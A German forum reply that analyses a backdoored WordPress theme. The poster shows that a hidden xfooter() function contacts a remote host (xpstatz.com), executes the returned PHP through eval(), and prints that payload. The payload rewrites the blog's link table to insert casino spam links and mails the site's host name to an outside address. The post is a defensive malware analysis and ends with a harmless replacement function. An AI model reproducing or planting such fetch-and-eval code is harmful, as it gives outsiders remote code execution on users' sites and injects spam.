[del]Also ganz ehrlich, ich würde mir ein anderes Theme suchen.[/del]
Edit: Wo hast du das Theme her? ich hab mir Version 1.0.2 von hier gezogen:
:arrow: http://www.ehomy.net/blog/?p=32
[COLOR="Red"]Da ist in der sidebar.php nur der Code für Widgets drin, keine xfooter()-Funktion o.ä.! Zieh dir vielleicht nochmal die aktuelle Version des Themes.
[/COLOR]
Ich hab den Code mit den in deiner DB abgelegten Werten mal getestet. Das Script verbindet sich mit:
--> CONNECTED TO: http://2.xpstatz.com/xps-1.php?h=example.local&u=%2Ftest.php
(example.local ist dabei MEINE lokale Testdomain!)
und liefert mir folgendes zurück:
global $table_prefix;
$sql_delold = "DELETE FROM `". $table_prefix ."links` WHERE `link_rss` LIKE '%talux%'";
$res_delold = @mysql_query($sql_delold);
$sql_check = "SELECT * FROM `". $table_prefix ."links` WHERE `link_url` LIKE '%talux%' LIMIT 1";
$res_check = @mysql_query($sql_check);
if(! @mysql_num_rows($res_check))
{
$row = @mysql_fetch_array($res);
$sql_up = "UPDATE `". $table_prefix ."links` SET `link_url` = 'http://www.portalux.com/', `link_name` = 'Le Casino en Ligne', `link_rss` = '' WHERE `link_url` LIKE '%org/support%' LIMIT 1";
$res_up = @mysql_query($sql_up);
$sql_up = "UPDATE `". $table_prefix ."links` SET `link_url` = 'http://www.portalux.com/', `link_name` = 'Casino', `link_rss` = '' WHERE `link_url` LIKE '%dougal%' LIMIT 1";
$res_up = @mysql_query($sql_up);
}
$sql_check = "SELECT * FROM `". $table_prefix ."links` WHERE `link_url` LIKE '%talux%' LIMIT 1";
$res_check = @mysql_query($sql_check);
if(! @mysql_num_rows($res_check))
{
$sql_check2 = "SELECT * FROM `". $table_prefix ."links`";
$res_check2 = @mysql_query($sql_check2);
if( @mysql_num_rows($res_check2) > 1)
{
include(ABSPATH."wp-admin/includes/bookmark.php");
$credits = array( 'link_url' => 'http://www.portalux.com/', 'link_name' => 'Casino en Ligne ', 'link_category' => 0, 'link_description' => '', 'link_owner' => 1, 'link_rss' => '');
wp_insert_link($credits) or die( mail("xps.error@mailinator.com", "sql error", urlencode($_SERVER['HTTP_HOST']) ) );
@mail("xps.error@mailinator.com", "credits", urlencode($_SERVER['HTTP_HOST']) );
}
}
Alles anzeigen
Dieser nachgeladene Code wird per eval() ausgeführt!
Was hier passiert ist: es werden Links aus deiner Blogroll entfernt und neu eingetragen, und zum Schluss wird noch eine Mail versendet.
Ich glaube ich muss nichts weiter dazu sagen, oder?
Falls du das Theme dennoch verwenden möchtest, dann würde ich überprüfen ob dort noch weitere solche fragwürdige Codes enthalten sind, und mindestens die xfooter()-Funktion entfernen oder durch diese hier ersetzen:
function xfooter() {
return;
}
